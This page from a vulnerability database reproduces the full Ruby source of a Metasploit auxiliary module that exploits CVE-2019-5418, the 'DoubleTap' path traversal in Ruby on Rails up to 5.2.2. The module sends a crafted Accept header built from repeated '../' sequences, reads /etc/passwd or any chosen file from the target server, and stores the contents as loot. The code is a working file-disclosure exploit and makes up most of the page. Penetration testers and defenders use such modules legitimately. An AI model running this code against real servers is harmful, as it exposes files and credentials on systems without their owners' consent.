Lucene search
K

Ruby On Rails File Content Disclosure ('doubletap')

🗓️ 28 Mar 2019 01:13:25Reported by Carter Brainerd <[email protected]>, John Hawthorn <[email protected]>Type 
metasploit
 metasploit
🔗 www.rapid7.com👁 153 Views

Ruby On Rails File Content Disclosure ('doubletap') module to read files using path traversal vulnerability in Ruby on Rails versions =< 5.2.2. Authors: Carter Brainerd, John Hawthorn. References: hackerone, github, google groups, chybeta, CVE-2019-5418, EDB-46585. AKA: DoubleTap

Related
Code
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Auxiliary
  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name'        => "Ruby On Rails File Content Disclosure ('doubletap')",
        'Description' => %q{
          This module uses a path traversal vulnerability in Ruby on Rails
          versions =< 5.2.2 to read files on a target server.
        },
        'Author'      =>
        [
          'Carter Brainerd <[email protected]>', # Metasploit module
          'John Hawthorn <[email protected]>' # PoC/discovery
        ],
        'License'     => MSF_LICENSE,
        'References'     => [
          [ 'URL', 'https://hackerone.com/reports/473888' ],
          [ 'URL', 'https://github.com/mpgn/Rails-doubletap-RCE' ],
          [ 'URL', 'https://groups.google.com/forum/#!topic/rubyonrails-security/pFRKI96Sm8Q' ],
          [ 'URL', 'https://chybeta.github.io/2019/03/16/Analysis-for%E3%80%90CVE-2019-5418%E3%80%91File-Content-Disclosure-on-Rails/' ],
          [ 'CVE', '2019-5418'],
          [ 'EDB', '46585' ]
        ],
        'Notes' => {
          'AKA' => ['DoubleTap']
        }
      )
    )

    register_options(
      [
        Opt::RPORT(80),
        OptString.new('ROUTE', [true, 'A route on the vulnerable server.', '/home']),
        OptInt.new('DEPTH', [true, 'The depth of the traversal.', 10]),
        OptString.new('TARGET_FILE', [true, 'The absolute path of remote file to read.', '/etc/passwd']),
        OptBool.new('PRINT_RESULTS', [true, 'Print results of module (may hang with large amounts of data).', true])
      ]
    )

    register_advanced_options(
      [
        OptBool.new('SkipCheck', [true, 'Skip the initial vulnerability check.', false])
      ]
    )
  end

  def get_accept_header_value(depth, file)
    return (('../'*depth) + file + '{{').gsub('//', '/')
  end

  def check
    return true if datastore['SkipCheck']
    # Check if target file is absolute path
    unless datastore['TARGET_FILE'].start_with? '/'
      vprint_error "TARGET_FILE must be an absolute path (eg. /etc/passwd)."
      return Exploit::CheckCode::Unknown
    end

    # Fire off the request
    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['ROUTE']),
      'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], '/etc/passwd')}
    })

    if res.nil?
      vprint_error "Request timed out."
      return Exploit::CheckCode::Unknown
    end

    if res.body.include? 'root:x:0:0:root:'
      return Exploit::CheckCode::Vulnerable
    else
      vprint_error 'Target is not vulnerable. Make sure your route is correct.'
      return Exploit::CheckCode::Unknown
    end
  end

  def run
    unless check == Exploit::CheckCode::Vulnerable
      print_error 'Check did not pass, exiting.'
      return
    end

    fail_with(Failure::BadConfig, 'TARGET_FILE must be an absolute path (eg. /etc/passwd).') unless datastore['TARGET_FILE'].start_with? '/'


    print_status "Requesting file #{datastore['TARGET_FILE']}"

    res = send_request_cgi({
      'method' => 'GET',
      'uri' => normalize_uri(datastore['ROUTE']),
      'headers' => { 'Accept' => get_accept_header_value(datastore['DEPTH'], datastore['TARGET_FILE'])}
    })

    if res.nil?
      print_error "Request timed out."
      return
    end

    unless res.code == 200
      print_error "Failed to read file: #{datastore['TARGET_FILE']}. HTTP error: #{res.code}."
      print_error 'User probably doesnt have access to the requested file.' if res.code == 500
      return
    end

    unless datastore['PRINT_RESULTS']
      print_good 'Response from server:'
      print_line res.body.to_s
    end
    store_loot('rails.doubletap.file', 'text/plain', datastore['RHOSTS'], res.body.to_s, datastore['TARGET_FILE'], "File read via Rails DoubleTap auxiliary module.")
    print_status 'Results stored as loot.'
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation